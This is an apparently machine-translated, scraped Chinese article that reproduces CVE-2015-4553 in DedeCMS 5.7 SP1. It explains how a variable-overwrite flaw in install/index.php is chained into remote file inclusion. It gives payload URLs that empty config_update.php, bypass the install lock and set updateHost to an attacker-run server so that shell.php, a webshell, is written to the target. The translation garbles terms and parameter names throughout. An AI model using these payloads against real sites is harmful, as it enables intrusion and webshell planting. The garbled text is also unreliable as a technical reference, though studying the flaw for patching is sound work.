手机版

重复数据消除5.7 sp1远程文件包含漏洞(CVE-2015-4553)

时间:2021-08-20 来源:互联网 编辑:宝哥软件园 浏览:

一、漏洞描述

该漏洞在file/install/index . PHP(index . PHP . bak)中,该漏洞是由于使用$ $符号不当导致覆盖率可变,最终导致远程文件包含该漏洞。

其次,该漏洞会影响版本

DeDeCMS 5.7-sp1,包括版本5.7 sp1

第三,构建脆弱性环境

1.下载DeDeCMS V5.7 SP1,然后放到phpstudy环境下的www目录下,然后通过浏览器访问http://192 . 168 . 10 . 171/DeDeCMS/uploads/install/index . PHP

2.单击我已阅读并继续。然后是环境检测,您可以保存默认值

3.下一步是参数配置。只需要设置数据库密码。只需填写您自己的密码

4.然后设置环境

第四,漏洞再次出现

1.检查/install/index.php的源代码后,发现存在可变覆盖率的漏洞。这段代码意味着通过get、post或cookie传入的值是通过foreach以键值对的形式输出的,例如,在url中输入?Str=hello,那么$_k的值就是Str,而$ _ v的值就是hello,所以${$_k}就是$str,后面的RunMagicQuotes函数是在另一个文件中定义的,它粗略的过滤了参数并返回参数内容。

2.尝试通过可变覆盖率重新安装网站,并通过浏览器访问它

3.变量被覆盖后,直接进入安装界面。但是,由于安装锁的存在,除非删除安装锁http://192 . 168 . 10 . 171/dede CMS/uploads/install/index . PHP,否则无法继续重新安装?insLockfile=1

4.目前只有可变覆盖率是不够的。继续浏览代码,找到最后几行代码

4.1.这段代码首先包含文件/数据/admin/config_update.php,其中定义了变量updateHost

文件内容如下:

4.2.继续读373-387行代码。$updateHost和dedecms/demodata。{$a_lang}。txt被拼接成一个字符串,而文件内容的demodata。{$s_lang}。使用files_get_contents函数读取txt,最后将文件内容写入$install_demo_name参数。

4.3.因此,我们可以结合上述可变覆盖漏洞进行远程文件包含,直接编写webshell。

5.由于引入了$updateHost变量,因此不能直接覆盖它,在包含之前需要清空config_update.php文件。

5.1.此时,可以使用fopen功能。可以看到fopen中的参数是W,会直接重写文件,file_get_contents读取文件失败会返回NULL

5.2.然后,使用fwrite函数,您可以使用变量覆盖率随意将$s_lang命名为不存在的文件名,并且$install_demo_name指向“./data/admin/config_update.php”。为了让程序在这里执行,您需要将$step设置为11,这样您就可以清空config_update.php.

有效负载: http://192 . 168 . 10 . 171/dede CMS/uploads/install/index . PHP?

step=11s _ lang=testinstall _ demo _ name=…/data/admin/config _ update . PHP

浏览器访问,提示如下

5.3.查看代码,发现有一个条件可以判断文件是否存在(即网站是否安装)。通过变量覆盖漏洞将$insLockfile构造到任何不存在的文件中,可以绕过此条件的限制

5.4.重建payload:

http://192 . 168 . 10 . 171/dede CMS/uploads/install/index . PHP?step=11s _ lang=testnslockfile=testinstall _ demo _ name=./data/admin/config_update.php

5.5.此时,您可以看到config_update.php变成了0kb的空文件

5.6.在config_update.php文件的内容被清空之后,我们就可以控制updateHost参数,然后我们就可以开始从远程文件上传我们想要上传的文件了。

5.7.在kali上创建一个dedecms文件夹,然后创建一个demodata.gb2312.txt,然后写?PHP phpinfo();然后打开web服务

5.8.再次构造有效负载,将install _ demo _ name更改为要上传的路径,并将updateHost更改为远程目标机器的IP

有效载荷如下:

http://192 . 168 . 10 . 171/dede CMS/uploads/install/index . PHP?step=11 inslockfile=testinstall _ demo _ name=./shell . phpupdatehost=http://192 . 168 . 10 . 140/

浏览器访问,界面显示写成功

5.9.检查上传是否成功,确认上传成功

6.浏览器访问上传的shell.php

摘要

以上是边肖引入的DedeCMS 5.7 sp1远程文件中包含的漏洞(CVE-2015-4553)。希望对大家有帮助。如果你有任何问题,请给我留言,边肖会及时回复你。非常感谢您对我们网站的支持!如果你觉得这篇文章对你有帮助,请转载,请注明出处,谢谢!

版权声明:重复数据消除5.7 sp1远程文件包含漏洞(CVE-2015-4553)是由宝哥软件园云端程序自动收集整理而来。如果本文侵犯了你的权益,请联系本站底部QQ或者邮箱删除。